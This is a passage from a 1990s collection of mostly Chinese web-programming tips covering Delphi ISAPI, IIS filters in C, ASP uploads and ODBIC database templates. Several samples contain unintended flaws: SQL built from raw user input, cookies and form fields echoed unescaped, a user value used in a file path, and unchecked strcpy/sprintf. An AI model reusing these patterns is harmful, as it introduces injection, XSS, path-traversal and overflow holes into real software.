form of a bare bones HTML page. The first example returns the cookie as a single string, while the second
example returns each name value pair on a seperate line.

procedure TWebModule1.WebModule1WebActionItem2Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
Response.Content := '<HTML><BODY>' + Request.Cookie +
'</BODY></HTML>';
end;

procedure TWebModule1.WebModule1WebActionItem3Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var
i: integer;
begin
Response.Content := '<HTML><BODY>';
for i := 0 to (Request.CookieFields.Count - 1) do
begin
Response.Content := Response.Content + '<p>' +
Request.CookieFields[i] + '</p>';
end;
Response.Content := Response.Content + '</BODY></HTML>';
end;

//end TI

Reference:
None

4/1/99 11:45:44 AM

//////////////////////////////////////////////////////////
procedure
TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
Request:
TWebRequest; Response: TWebResponse; var Handled: Boolean);
var cookielist :
TstringList;
begin
cookielist := TStringList.Create;
try
cookielist.Add('Name1=alice');
Response.SetCookieField(cookielist,'','',-1, false);
finally
cookielist.free;
end;
Response.Content := '<html><head><meta http-eqiv="Refresh"
Content="0;URL=http://mywebsite/mydll.dll/checkcookie"></head></html>';
Handled := true;
end;

procedure TWebModule1.WebModule1WebActionItem3Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var s : string;
begin
s := '';
try
s := Request.CookieFields.Values['Name1'];
except
{silent}
end;
if Length(s) <> 0 then
Response.SendRedirect('http://mywebsite/myhtml.htm')
else
Response.Content := 'Sorry, You do not accept the cookies.';
end;
---------
Since the SetCookieFields doesn't work with SendRedirect, I display the
temperary pape. Then the temperary page will refresh in 0 second and run the
mydll.dll/checkcookies,redirect the page.
It works for IE4,5 and NS4 from PWS. It seems ASP doing the same way.
*************************
Still question:
from delphi4 help file, it says

procedure SendRedirect(const URI: string); virtual; abstract;
Description
Call SendRedirect to redirect the web client request to another URI that is the
proper target of the request. SendRedirect does the same thing as setting the
StatusCode to 301, the Location to URI, and calling SendResponse.

But I wrote the code as
Response.StatusCode:=301;
Response.Location := 'http://mywebsite/myhtml.htm';
Response.SendResponse;
---
It doens't work for me at all. I guest the help file is wrong.


ISAPI过滤器

使用ISAPI过滤器增强IIS的功能

---- 作为一个WWW服务器软件，微软公司的Internet Infomation Server（IIS）简单易学，管理方便，得到了广泛的使用。您还可以通过ISAPI过滤器，进行自己定制的处理，来增强IIS的功能。ISAPI过滤器可以定制以下的处理：接收HTTP协议头预处理、发送HTTP协议头预处理、发送生数据预处理、获得生数据预处理、HTTP会话结束信息处理、自定义的安全认证机制、URL映射信息处理、日志记录处理等。灵活利用这些定制处理，您可以完成许多看似难以实现的功能，得到意想不到的效果。但是ISAPI过滤器使用不当也会影响服务器的性能。

---- ISAPI过滤器的开发非常简单，只需要完成三个接口DLL函数即可。它们是GetFilterVersion()、HttpFilterProc()、TerminateFilter()，大家可以查看MSDN了解详细的用法。ISAPI过滤器是DLL文件，一般用C/C++语言开发。为使ISAPI过滤器能够运行，您需要在注册表的HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Services\W3SVC\Parameters下建立一个字符串项，其名称为"Filter Dlls"，值为ISAPI过滤器文件的全路径名称。若这个字符串项已经存在，只需把它的全路径名称加入其中，不同的ISAPI过滤器文件之间用";"分隔，您可以根据执行的优先顺序加在适当的位置。设置好后重新启动IIS服务，您的ISAPI过滤器就发挥作用了。

---- 下面作者举二个具体的应用例子。

一、虚拟主机WWW站点的实现

---- 所谓虚拟主机WWW站点，是指不同的域名占用同一个IP地址，各自拥有自己的主页。这样您可以在同一台机器上为几个甚至几十个公司建立各自的WWW站点。IIS 3.0不提供虚拟主机WWW站点的功能，但是我们可以通过ISAPI过滤器来实现它。其原理是通过URL映射信息处理，将不同的域名重新映射到不同的物理文件。

---- 下面是它的源程序。

fmulti.def：
LIBRARY fmulti
EXPORTS GetFilterVersion
 HttpFilterProc
 TerminateFilter

fmulti.c：
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <httpfilt.h>

#define baseroot "C:\\InetPub\\wwwroot\\"

BOOL WINAPI GetFilterVersion(HTTP_FILTER_VERSION *pVer)
{
 pVer->dwFilterVersion = HTTP_FILTER_REVISION;
strcpy(pVer->lpszFilterDesc, "fmulti");
 pVer->dwFlags = SF_NOTIFY_URL_MAP |
 SF_NOTIFY_ORDER_HIGH;
 /* 过滤的内容 */
 return TRUE;
}

DWORD WINAPI HttpFilterProc
(HTTP_FILTER_CONTEXT *pfc,
DWORD noteType, VOID *pvNote)
{
 DWORD namelen = 256;
 char svrname[256];
 char phyfile[280];

 *svrname = 0;
 (pfc->GetServerVariable)(pfc, "SERVER_NAME",
   svrname, &namelen);
 _strlwr(svrname);
 strcpy(phyfile, ((PHTTP_FILTER_URL_MAP)pvNote)->
  pszPhysicalPath + strlen(baseroot));
 /* 以下根据域名设置需访问的物理文件 */
 if (strcmp(svrname, "ca.best.net")==0) {
 sprintf(((PHTTP_FILTER_URL_MAP)pvNote)->
pszPhysicalPath, "C:\\InetPub\\caroot\\%s",
 phyfile);
 }
 else if (strcmp(svrname, "cb.best.net")==0) {
 sprintf(((PHTTP_FILTER_URL_MAP)pvNote)->
pszPhysicalPath, "C:\\InetPub\\cbroot\\%s",
 phyfile);
 }
 return SF_STATUS_REQ_NEXT_NOTIFICATION;
}

BOOL WINAPI TerminateFilter(DWORD dwFlags)
{
 return TRUE;
}
二、对访问内容进行统计分析

---- 通常我们在需要计数的页面内放一个计数器，或者使用ASP文件来实现计数功能。这种方法不能适用于如README.TXT等其他非HTML格式的文件。如果使用IIS的日志功能又太占用空间而不方便。作者通过定制URL映射信息处理来跟踪感兴趣的几个文件的计数统计，将结果记录在一个文件中。

---- 下面是它的源程序。

fcount.def：
LIBRARY fcount
EXPORTS GetFilterVersion
 HttpFilterProc
 TerminateFilter

fcount.c：
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <httpfilt.h>

#define logfile "C:\\InetPub\\fcount.log"
#define pages 5
char* urls[] = {
  "/default.htm",
  "/banner.gif",
  "/product/readme.txt",
  "/product/product1.htm",
  "/product/product2.htm"
  };
int counts[pages];

BOOL WINAPI GetFilterVersion
(HTTP_FILTER_VERSION *pVer)
{
int i;

 pVer->dwFilterVersion = HTTP_FILTER_REVISION;
strcpy(pVer->lpszFilterDesc, "fcount");
 pVer->dwFlags = SF_NOTIFY_URL_MAP; /* 过滤的内容 */

 for (i=0; i<pages; i++) { /* 从文件读入初始计数值 */
counts[i] = GetPrivateProfileInt("VisitCounter",
urls[i],
0, logfile);
}

 return TRUE;
}

DWORD WINAPI HttpFilterProc
(HTTP_FILTER_CONTEXT *pfc,
 DWORD noteType, VOID *pvNote)
{
 int i;
 char lurl[512];
 char buf[16];

 strcpy(lurl, ((PHTTP_FILTER_URL_MAP)pvNote)
->pszURL);
 _strlwr(lurl);
 for (i=0; i<pages; i++) {
 if (strcmp(lurl, urls[i])==0) {
  counts[i] ++; /* 计数值增加 */
  if (counts[i]%10==0) {
/* 当计数值满10时记入文件,
 以免系统突然死掉时数据全部丢失 */
  _itoa(counts[i], buf, 10);
  WritePrivateProfileString("VisitCounter",
 urls[i], buf, logfile);
  }
  break;
 }
 }
 return SF_STATUS_REQ_NEXT_NOTIFICATION;
}

BOOL WINAPI TerminateFilter(DWORD dwFlags)
{
 int i;
 char buf[16];

 for (i=0; i<pages; i++) {
    /* 系统停止时将计数值写入文件 */
 _itoa(counts[i], buf, 10);
 WritePrivateProfileString("VisitCounter",
 urls[i], buf, logfile);
 }
 return TRUE;
}
----


如何将HTML中的ActiveX控件属性提交给服务器

---- HTML中的表单（FORM）使得WEB具有交互性，客户可以通过表单输入参数，并把这些参数提交给服务器进行处理。为了增强WEB开发环境的效果，ActiveX控件已越来越被广泛地应用到HTML中。但是我们发现，ActiveX控件属性不能直接提交给服务器，这与表单中的一般域（FIELD）的提交有所不同，那么，如何将ActiveX控件属性提交给服务器呢？下面以日期输入控件Calendar的Value属性提交给ASP脚本作一说明。

  1. 创建页面E1.HTM和E2.ASP
  2. 在E1.HTM中创建表单F1
  3. 在表单F1中定义提交（SUBMIT）按钮B1，提交给E2.ASP，提交方法为POST。
  4. 在表单F1中插入Calendar控件，并将该控件命名为CL。
  5. 在表单F1中定义一隐含域QDATE，并赋值为任一字符串。
  6. 在表单F1的ONSUBMIT事件中插入脚本程序（在客户端运行）
    F1.QDATE.Value=F1.CL.value

  7. 在E2.ASP页面中插入脚本程序（需要在服务器上运行），显示控件属性。
Response.write Request.Form("qdate")
---- 因此，ActiveX控件属性通过表单的ONSUBMIT事件，赋值给表单的某一域后再提交给服务器。我们可以举一反三，将多个ActiveX控件的多个属性提交给服务器进行处理。上述例子中的脚本语言均为VBScript，因此只能运行在IE浏览器和PWS(Personal Web Server)或IIS(Internet Information Server)WEB服务器。

---- 附E1.HTM和E2.ASP源代码。

---- 1.E1.HTM 源代码。

< html >

< head >
< meta http-equiv="Content-Type"
content="text/html; charset=gb2312" >
< title >演示页面一< /title >
< /head >

< body >

< form method="POST" action="E2.ASP" name="F1" >
  < input type="hidden" name="QDATE" value=" " >< p >
  < object id="CL" classid="clsid:8E27C92B-1264-
101C-8A2F-040224009C02" width="288"
  height="192" >
  < /object >
  < /p >
  < p >< input type="submit" value="提交" name="B1" >< /p >
< /form >

< p >< script language="VBScript" >< !--
Sub F1_onsubmit
F1.qdate.value=F1.CL.value
End sub
-- >< /script >< /p >
< /body >
< /html >
---- 2.E2.ASP 源代码。
< html >

< head >
< meta http-equiv="Content-Type" content="text/html; charset=gb2312" >
< title >演示页面二< /title >
< /head >

< body >

< p >< %Response.write request.form("qdate")
% >< /p >
< /body >
< /html >


编写Web方式上载文件的ASP组件

---- 基于Web方式上载文件，要遵从RFC1867标准。但IIS没有提供这方面的支持。虽然可以从Internet上下载这方面的ASP组件，但大多都是试用版，有使用时间的限制；并且，功能上也不能完全满足自己的要求。我们可以编写自己的ASP组件，使之适合自己的应用系统的需求。

---- 我们假设有如下的一个上载文件的.html文件，它被命名为demo.htm：

    < HTML >
    < BODY >
< FORM  method="post"  enctype=
 "multipart/form-data"  action="upload.asp" >
    < input  type=text  name="text1" >< BR >
    < input  type=file   name="file1" >< BR >
    < input  type=submit  value="上载" >
    < /FORM >
    < /BODY >
    < /HTML >

---- 按照RFC1867标准，demo.htm传到服务器端的二进制数据具有类似的如下格式：

   -----------------------------5fi25134734389
   Content-Disposition: form-data; name="text1"

   Text test
   -----------------------------5fi25134734389--
   Content-Disposition: form-data;
   name="file1"; filename="E:\GIF\girl.gif"
   Content-Type: image/gif

   GIF89a? ????噜鄛}}^^^υ,?
   -----------------------------5fi25134734389

---- 其中， 类似于“-----------------------------5fi25134734389”的这一段字符串我们称之为“定界符”。我们看到，demo.htm文件中的Form元素“text1”,“file1”出现在定界符后的“name=”标记处；对text1而言，“name=”标记后紧接两对回车换行符（chr(13)&chr(10)&chr(13)&chr(10)）即是客户端输入的值，该值结束时跟一对回车换行符和一个定界符；对file1而言，“name=”标记后的“filename=” 标记指出了客户端上载的文件的路径和文件名，下一行指出了文件的类型，后跟两对回车换行符表示文件数据的开始，文件数据结束时跟一对回车换行符和一个定界符。

---- 下面，我们以VB6.0中文版环境为例，讲述如何编写上载文件的ASP组件：

---- 1． 进入VB时，选择工程类型为ActiveX DLL。

---- 2． 在工程窗口中选择工程，在属性窗口中给工程重命名，如“Huang”； 在工程窗口中选择类模块“Class1”， 在属性窗口中将其重命名，如“UploadFile”，并且，将Instancing属性设置为“5-MultiUse”。

---- 3． 选择VB菜单“工程—— >引用—— >Microsoft Active Server Pages Object Library”，单击“确定”。

---- 4． 编写类模块，代码 Zip 2KB

---- 对存入文件的目标目录，要有写入的权限。

---- 对OnStartPage过程的说明：当客户请求一个基于ASP的Web文件时，Web 服务器会调用该ASP文件上所有ASP组件的OnStartPage方法。Web开发者可以在OnStartPage过程中访问ASP的内建组件。

---- 5．选择“文件—— >生成Huang.DLL”， 生成Huang.DLL。如果VB就在IIS服务器上，则VB会自动注册该组件；否则，把Huang.DLL拷贝到IIS服务器所在的Windows NT目录下，运行“Regsrv32 Huang.DLL”注册该组件。

---- 至此，文件上载的ASP组件编写并注册完成。

---- 编写upload.asp文件如下：

   < %@ Language=VBScript % >
   < HTML >
   < BODY >
   < %
    Dim  txtValue

    Set obj = Server.CreateObject("Huang.UploadFile")
    txtValue = obj.GetTheValue("text1")
    Response.Write( "text1的输入值是： " & txtValue)
    Response.Write "< P > < /p >"
    Response.Write "选择的文件已经上载到服务器！"
    obj.SaveTheFile "file1", "c:\test"
   % >
   < /BODY >
   < /HTML >


基于WEB的数据库查询

---- ODBIC（OPEN DATABASE INTERNE CONNECTOR） 程 序 是 运 行 在WINDOWS NT 和WIN95 上 的 共 享 软 件， 可 通 过http://www.iodbc.com 获 得 该 软 件（ 目 前 已 有ODBIC1.5 版， 本 文 使 用 的 是ODBIC1.4 版）。ODBIC 是 在 浏 览 器 和 数 据 库 之 间 提 供 一 个 接 口， 即 一 个CGI 程 序， 可 以 通 过 浏 览 器 时 时 更 新 和 浏 览 数 据 库。

---- 通 过ODBIC 可 以 用 标 准 的ANSI SQL 语 句 诸 如：SELECT, INSERT, UPDATE, or DELETE 对 在ODBC 中 设 置 的 所 有 数 据 库 进 行 操 作。ODBIC 的 最 大 优 点 是 可 以 用 摸 板 文 件 作 为 输 入， 摸 板 文 件 也 能 接 收

命 令 中 通 过submit 发 来 的 用 户 输 入 参 数， 摸 板 包 含 标 准 的HTML 命 令 和 文 本， 并 且 这 些 命 令 和 文 本ODBIC 直 接 输 出 到 浏 览 器 上， 当 然 摸 板 也 包 含ODBIC 命 令 和 变 量。 当ODBIC 以 摸 板 作 为 输 入 运 行 时， 标 准 的HTML 命 令 和 文 本 直 接 输 出 到 浏 览 器 上， 发 现ODBIC 命 令 时 立 即 执 行， 发 现ODBIC 变 量 时 立 即 用 变 量 的 当 前 值 代 替。ODBIC 命 令 是 放 在 标 准 的HTML 语 言 的 注 释 行 里，ODBIC 变 量 是 用 一 对 符 号 括 着， 下 面 一 个 很 简 单 的 例 子 说 明ODBIC 命 令 和 变 量 是 如 何 出 现 在 摸 板 文 件 里 的：

< !--DATABASE DSN=$my_database$ -- >t;
< !--SQL select * from my_table -- >;
< !--TABLE-- >;
DATABASE、SQL、TABLE 是ODBIC的最基本的命令。
---- 本 文 通 过 一 个 实 例 介 绍 用ODBIC 编 写 在 中 文WIN95 下 访 问SQL SERVER 数 据 库 的 应 用 程 序， 体 会 以 下ODBIC 功 能 的 灵 活、 方 便、 易 学 的， 推 荐 给 大 家 共 免。

---- 在 下 面 的 例 子 里， 我 们 要 用 到 一 电 信 营 业 数 据 库 的 长 途 电 话 明 细 表， 表 结 构 如 下（ 数 据 库 名 为TELEPHONE， 所 用 表 名 为DETAIL）：

---- 主叫号码(CALLER) 被叫号码（CALLED） 起始时间(START-TIME) 通话时长(LENGTH)秒 通话话费(FEI)元

PQABCD1 0101234567 98/03 19/27 100 220
PQABCD2 0371123456 98/03 19/40 370 462
...
...
---- 首 先， 建 立ODBC 数 据 库 的 连 接， 打 开WIN95 的“ 设 置” 菜 单 中 的“ 控 制 面 板”， 启 动ODBC 驱 动 程 序， 设 置 相 应 的ODBC 驱 动 器， 本 例 中 为SQL SERVER； 建 立 数 据 源， 为 了 方 便 此 处 数 据 源 的 名 也 为TELEPHONE。 如 果“ 控 制 面 板” 中 没 有ODBC 驱 动 程 序， 可 以 从WIN95 的 系 统 盘 中 装 入， 也 可 从 一 些 共 享 软 件 站 点 下 载， 具 体 办 法 此 处 不 在 赘 述。

---- 然 后， 编 写 长 话 明 细 查 询 主 页， 为 了 简 化， 清 单 中 删 去 了 一 些 修 饰 性 的HTML 语 句， 查 询 类 型 中 也 只 保 留 了 长 话 明 细（ 可 以 包 含 电 话 挡 案 查 询 和 更 改、 交 费 汇 总 和 明 细、 帐 务 处 理 等 等）。

---- 长 话 明 细 查 询 主 页 清 单：SEARCH。HTML

< HTML >
< HEAD >
< TITLE >长话明细查询主页< /TITLE >
< /HEAD >
< CENTER >
< TABLE >
< FONT SIZE="5" COLOR="#990000" >
长话明细查询< /FONT >
< FORM METHOD="post" ACTION="
../cgi-bin/odbic.exe/cgi-bin/MODEL.html" >
< TR >< TD ALIGN="right" >< FONT COLOR="#990000" >
电话号码 : < /FONT > < /TD >
< TD >< INPUT NAME="DHHM" TYPE="text" SIZE="12" >
< /TD >< /TR >
< TR >< TD ALIGN="right" >< FONT COLOR="#990000" >
授权口令: < /FONT > < /TD >
< TD >< INPUT NAME="PWD" TYPE="password" SIZE="12" >
< /TD >< /TR >
< TR >< TD ALIGN="right" >< FONT COLOR="#990000" >
查询类型: < /FONT > < /TD >
< TD >< SELECT NAME="CATE" >
< OPTION VALUE= >--请选择--
< OPTION VALUE="ch" >长话明细
< /TD >< /TR >
< /TABLE >
< INPUT TYPE="submit" VALUE="查询 " >
< INPUT TYPE="reset" VALUE="清除 " >< /FONT >
< /FORM >
< /CENTER >
< /BODY >
< /HTML >
---- 接 下 来 就 是 编 写 摸 板 文 件， 在 编 写 之 前， 先 介 绍 以 下ODBIC 的 主 要 命 令。ODBIC 软 件 主 要 有 以 下 命 令：

---- DATABASE 定 义 连 接ODBC 数 据 库 的 参 数；

---- DEFAULT 定 义 变 量 的 默 认 初 始 值；

---- EACHROW, ENDROW 格 式 化 结 构 化 查 询 后 的 每 一 行 结 果；

---- EXEC 执 行 一 个 系 统 命 令 或 运 行 一 个DOS 程 序；

---- EXIT 终 止ODBIC 对 摸 板 文 件 的 执 行；

---- FORMAT 定 义 变 量 的 输 出 格 式；

---- IF, ELSE, ENDIF 变 量 条 件 判 断 语 句；

---- IFNEW 判 断 经 过 对 某 一 字 段 排 序 的 表 是 否 该 字 段 的 值 发 生 了 变 化；

---- INCLUDE 读 入 另 一 摸 板 文 件；

---- OPTIONLIST 从 查 询 结 果 产 生 一 个HTML 的“SELECT OPTION” 命 令；

---- OUTPUT 把 结 果 输 出 到 磁 盘 文 件；

---- SET 对 变 量 赋 值；

---- SQL 执 行ODBC SQL 语 句；

---- TABLE 自 动 格 式 化SELECT 语 句 的 结 果 到HTML 格 式。

---- 从 以 上 命 令 可 以 看 出，ODBIC 软 件 功 能 的 强 大， 通 过IF-ELSE- ENDIF 和SET 命 令， 可 以 编 写 实 现 很 多 功 能， 下 面 摸 板 的 功 能 是 从SEARCH.HTML 主 页 中 获 取 电 话 号 码 和 授 权 口 令， 对 所 输 号 码 的 明 细 进 行 查 询， 查 询 结 果 以 表 格 形 式 输 出， 并 对 话 费 进 行 合 计。 摸 板 文 件 清 单 见 后（ 文 件 中“//” 后 面 的 是 注 释）： 摸 板 文 件 清 单：MODEL.HTML

< HTML >
< HEAD >
< TITLE >ODBIC-TEST-MODEL< /TITLE >
< /HEAD >
< BODY BGCOLOR="#ff00ff" TEXT="#FFFF00"
LINK="#ff00ff" ACTIVE="#000000" VISITED="#000000" >
< center >
< table border=3 >
< !--if '$CATE$'='ch'-- >
< P >查询号码：$dhhm$
< !--SET HJ=0.0 -- > //设置合计话费变量的初值；
< !--DATABASE DSN=telephone;UID=myloginame;
PWD=$PWD$ -- >
//DSN、UID、PWD分别为联结数据库的数据库名、
用户登录名称、
//登录口令，这三项均可以变量的形式接收用户输入；
< !--SQL select called,start_time,length,feI from detail where
caller='$dhhm$' order by start_time -- >
< !--eachrow-- >
< tr >< td >$row$< /td >< td >$called$< /td >< td >
$start_time$< /td >< td >$length$< /td >
< td >$fei$< /td >< /tr > //变量row为ODBIC
本身提供内部变量，表示当前结果集的行
//号，ODBIC对结果集的字段名自动默认为变量；
< !--set $HJ$=$HJ$+$FEI$-- >
< !--endrow-- >
< /table >
< !--ELSE -- >
< p >< front SIZE="6" COLOR="#990000" >
对不起你的口令错误！< /front >
< !--E-- >
< /center >
< /BODY >
< /HTML >


Web Server响应用户的输入

HTML中用户输入主要是<FORM>语句，在<FORM>中，支持POST、PUT、GET和HEAD方法，而PUT，GET和HEAD方法返回数据的方式基本相同。

例如(查询某人的电话号码)：

<FORM ACTION="add" METHOD=POST>

姓名:<INPUT TYPE=TEXT NAME="name" SIZE=8>

<BR><INPUT TYPE=SUBMIT VALUE="查询">

<INPUT TYPE=RESET VALUE="重填">

</FORM>

在这个例子中使用了POST方法。那么在Web Server应用程序中，如何得知用户的输入信息呢？

在HTTP协议中，客户端向Web Server应用程序返回数据主要是通过URL和CONTENT部分。例如URL中：http://202.100.16.116/delphifan/newtips/tips_1/tppmsgs/msgs0.htm#9，这里，id=10数据参数，告诉delinfo.exe显示从ID=10开始的信息，这一般应用在数据量较少的情况下，优点是比较容易输入参数，缺点是数据量不能太大，并影响URL的显示。在CONTENT中保存数据信息的优点是不影响URL的显示，而且数据量较大，缺点是用户只能使用<FORM>表格让浏览器生成请求，不能直接输入请求信息。

除了POST方法使用CONTENT部分返回数据以外，其它方法都是通过URL来返回数据的。

Delphi中有TWebRequest对象，这个对象将HTTP返回的信息进行分析，非常容易使用。对于CONTENT中的数据，TWebRequest使用ContentFields，将数据分析成为一个TStrings，可以直接使用Request.ContentFields.Values['name']来都取数据。而URL中的数据，TWebRequest使用QueryFields，也将数据分析成为了一个TStrings，可以直接使用Request.QueryFields.Values['name']来读取数据。

例如上面的HTML返回的消息处理：

if Request.ContentFields.Values['name']<>’’ then

Response.Content:= Request.ContentFields.Values['name']

+’的电话号码是：’+QueryTelCode(Request.ContentFields.Values['name'])

else

Response.Content:=’请输入用户名’;

当然，还有一种输入数据是Cookie。Cookie是保存在客户端的一种数据，用来保存访问者的访问信息等。对于Cookie数据使用 CookieFields来进行读取。


Web页面的自动更新

用ISAPI方式实现Web页面的自动更新

---- 对于某些网站管理员来说，最痛苦的事情莫过于每天必做的重复工作。譬如：从新闻页面中删除旧的新闻标题，换上新的新闻标题；如果想让读者能看到以前的新闻，还要更改随时间改变的FormField值。等等。用DELPHI编写一个WebServer端的ISAPI程序，可以大大减轻工作量。

---- ISAPI方式的服务器端程序，有以下特点：内存开销小，多个客户端链接与一个链接内存开销等同；速度快。由于DLL运行一次后便常驻内存，当有新的链接时，直接从内存发送数据，有效地提高了速度。

---- 我用DELPHI4编写的这个程序，具有以下功能：

---- 1、根据日期变化，自动修改FormField的时间值(此值宫浏览器端选择)。

---- 2、自动生成新闻目录。管理者只需把新的新闻拷贝至此目录即可，程序能自动生成新闻首页的页面。

---- 重点：

---- 1、在一个目录中搜索符合条件的文件，返回句柄： HANDLE FindFirstFile(LPCTSTR lpFileName,LPWIN32_FIND_DATA lpFindFileData);

---- 2、根据FindFirstFile返回的句柄继续搜索下一个文件： BOOL FindNextFile(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData );

---- 3、关闭指定搜索句柄： BOOL FindClose(HANDLE hFindFile);

---- 4、WIN32_FIND_DATA该结构存储FindFirstFile和FindNextFile找到文件的各项信息，其结构如下：

typedef struct _WIN32_FIND_DATA {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName
[ MAX_PATH ];
TCHAR cAlternateFileName[ 14 ];
} WIN32_FIND_DATA;
程序的action内容：
name
pathinfo
enabled
updata
WebActionItem1
/DispNews   true

源代码如下：
unit Unit1;

interface

uses

Windows, Messages,
SysUtils, Classes,
HTTPApp,ShellApi, ExtCtrls;

type
TWebModule1 = class(TWebModule)
Timer1: TTimer;
procedure WebModule1updataAction
(Sender: TObject; Request: TWebRequest;
Response: TWebResponse;
var Handled: Boolean);
procedure WebModule1WebActionItem1
Action(Sender: TObject;
Request: TWebRequest; Response:
TWebResponse; var Handled: Boolean);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
WebModule1: TWebModule1;

implementation

{$R *.DFM}
//
//本部分是执行不带入口的dll。
功能：生成新闻中心的首页，
//主要目的是下拉菜单
的时间动态改变
procedure TWebModule1.
WebModule1updataAction
(Sender: TObject;
Request: TWebRequest;
Response: TWebResponse;
var Handled: Boolean);
var DHTML:string;
var I:integer;
begin

DHTML:='< html >';
DHTML:=DHTML+'< head >';
DHTML:=DHTML+'< title >
新闻中心< /title >';
DHTML:=DHTML+'< /head >';
DHTML:=DHTML+'< body >';
DHTML:=DHTML+'< p >
请选择日期：< /p >';
DHTML:=DHTML+'< form
method="POST" action="AutoUpDt.dll/DispNews"';
DHTML:=DHTML+'< p >
< select size="1" name="tm" >';
//下拉列表中包含
前推十天的日期
DHTML:=DHTML+'< option
selected value="'+FormatDateTime('mmdd',
date)+'" >今天< /option >';
DHTML:=DHTML+'< ption value="'
+FormatDateTime('mmdd', date-1)+'"
>昨天< /option >';
DHTML:=DHTML+'< option value="'
+FormatDateTime('mmdd', date-2)+'"
>前天< /option> ';
for i:=1 to 7 do
DHTML:=DHTML+'< option value="'
+FormatDateTime('mmdd',
date-2-I)+'" >'+FormatDateTime
('m"月"dd"日"', date-2-I)+'< /option >';

DHTML:=DHTML+'< /select >
< input type="submit" value="提交" name="B1" >';
DHTML:=DHTML+'< /p >';
DHTML:=DHTML+'< /form >';
DHTML:=DHTML+'< /body >';
DHTML:=DHTML+'< /html >';
Response.Content:=DHTML;

end;

//根据request传送的参数
确定要显示的文件目录
//并从该目录中取
出所有的htm文件
//如果没有该目录，
则向浏览器发送提示信息
procedure TWebModule1.
WebModule1WebAction
Item1Action(Sender: TObject;
Request: TWebRequest;
Response: TWebResponse;
var Handled: Boolean);
Var ReqDir:Tstrings;
//保存Request要求的参数
Var DHTML,SeleDir:string;
var FileNameData:
WIN32_FIND_DATA;
var SearchFileHandle:THandle;
begin
ReqDir:=NIL;
ReqDir:=Request.
ContentFields;
DHTML:='< html >';
DHTML:=DHTML+'< head >';
DHTML:=DHTML+'
< title >新闻中心< /title >';
DHTML:=DHTML+'
< /head >';
DHTML:=DHTML+'
< body >';
DHTML:=DHTML+'
< p align="center" >
< font face="宋体" size="5"
color="#0000FF" >
新闻中心< /font >< /p >';
//DHTML:=DHTML
+ReqDir.Values['tm'];
SeleDir:=ReqDir.
Values['tm'];

// 获得搜索句柄
SearchFileHandle:=FindFirstFile
(Pchar('C:\MyWeb\news\'+SeleDir+'
\*.htm'),FileNameData);
if SearchFileHandle< >
INVALID_HANDLE_VALUE then
begin
DHTML:=DHTML+'< P >< a
href="../'+SeleDir+'/'
+FileNameData.cFileName+'" >'
+FileNameData.cFileName+'
< /a >< /p >';
//根据搜索句柄向后搜索
while FindNextFile
(SearchFileHandle,
FileNameData ) do
DHTML:=DHTML+'< P >< a
href="../'+SeleDir+'/'
+FileNameData.cFileName+'"
>'+FileNameData.cFileName+'
< /a >< /p >';
//关闭搜索句柄
fileClose(SearchFileHandle);
end
else
DHTML:=DHTML+'对不起，
没有您需要的新闻';

DHTML:=DHTML+'< /body >';
DHTML:=DHTML+'< /html >';
Response.Content:=DHTML;
end;

//在上午八点到九点之间，
Timer被激发一次，创建下一天的文件夹
procedure TWebModule1.
Timer1Timer(Sender: TObject);
begin
if FormatDateTime('h',
time)='8' then
mkdir(IntToStr(StrToInt
(FormatDateTime('mmdd', date))+1));
end;

end.

---- 实际使用时，可根据自己的需要，将已有的Web页面编辑进程序中；同时，编写合适的时间处理函数修改FormField的值也是必须的，因为在本程序中，并未涉及到月初月末时间变化。


上载文件的方法与实现

在浏览器中上载文件的方法与实现

---- 一、问题引入

---- 在现在的管理信息系统中，比较先进的都已采用浏览器/服务器的模型，在这种模型中都要涉及到客户端与服务器端的信息交互问题，从服务器端到客户端的信息传递技术已经比较成熟，这里主要讨论从客户端到服务器端的文件上载问题，基于Microsoft的IE4.0、IIS4.0、ASP(Active Server Page)和标准HTML语言。

---- 二、实现方法

---- 在ASP页面中，利用HTML中的Form元素来实现。

---- 在Form元素的语法中，EncType表明提交数据的格式，Method表明提交的方法(Get/Post)。在IE4.0 及以后的版本中都支持"multipart/form-data"这种格式，相应的Method方法必须是Post，表明要上载文件到服务器。当然同时在服务器相应的WEB站点上要把属性设为可写。下面是一个示例：

< form enctype="multipart/form-data"
action="http://dev_d/upload/post/cpshost.dll?
PUBLISH?http://dev_d/upload/UserUploadAction.asp"
      method=post id=form2 name=form2 >

    1. Press the Browse button and
         choose a File to upload from your computer.
    < br >< input type="file" id=file1 name=file1 >
    2. Upload the file.
    < br >< input type=hidden size=80 name="TargetURL"
           value=http://dev_d/upload/post >
< input type=submit value='Upload'
 id=submit1 name=submit1 >
< /form >

---- 三、实现要素

    1 Form的enctype="multipart/form-data"。

    2 Form的action="(UserURL)/cpshost.dll?PUBLISH?
    (UserURL)/UserUploadAction.asp"。

---- 说明：cpshost.dll是用于文件上载的动态链接文件，其后的PUBLISH参数也为固定，而(UserURL)指的是完整的URL地址，如：http://dev_d/upload。如果PUBLISH后没有参数，上载文件完成后，只是简单返回文件已经上载；如果PUBLISH后跟上完整URL的ASP文件，就可以用ASP来处理文件上载后的其他操作，如修改相应的数据库数据。可以在ASP文件中用Request.Form("Variable")来访问相应参数。对上载文件来说，Variable有四种可能的值：FileName 文件名称(不包括后缀),FileExtention 文件后缀(包括"."),FilePath 上载文件保存的服务器端路径,FileSize 上载文件的字节大小。

---- 3 Form的Method的方法必须为Post。

---- 4 Form中必须有一个input元素，而且input的属性type="file"。

---- 说明：如果要上载多个文件，有多个input元素就可以了，但至少有一个有效文件，否则会出错。

---- 系统会自动产生一个文本区域和一个"browse..."按钮，可以直接在文本区域内输入文件路径名称，或按"browse..."按钮，从文件对话框中选择一个文件。

---- 5 Form中必须有一个隐含(即type=hidden)input元素，而且input的属性name="TargetURL"，属性

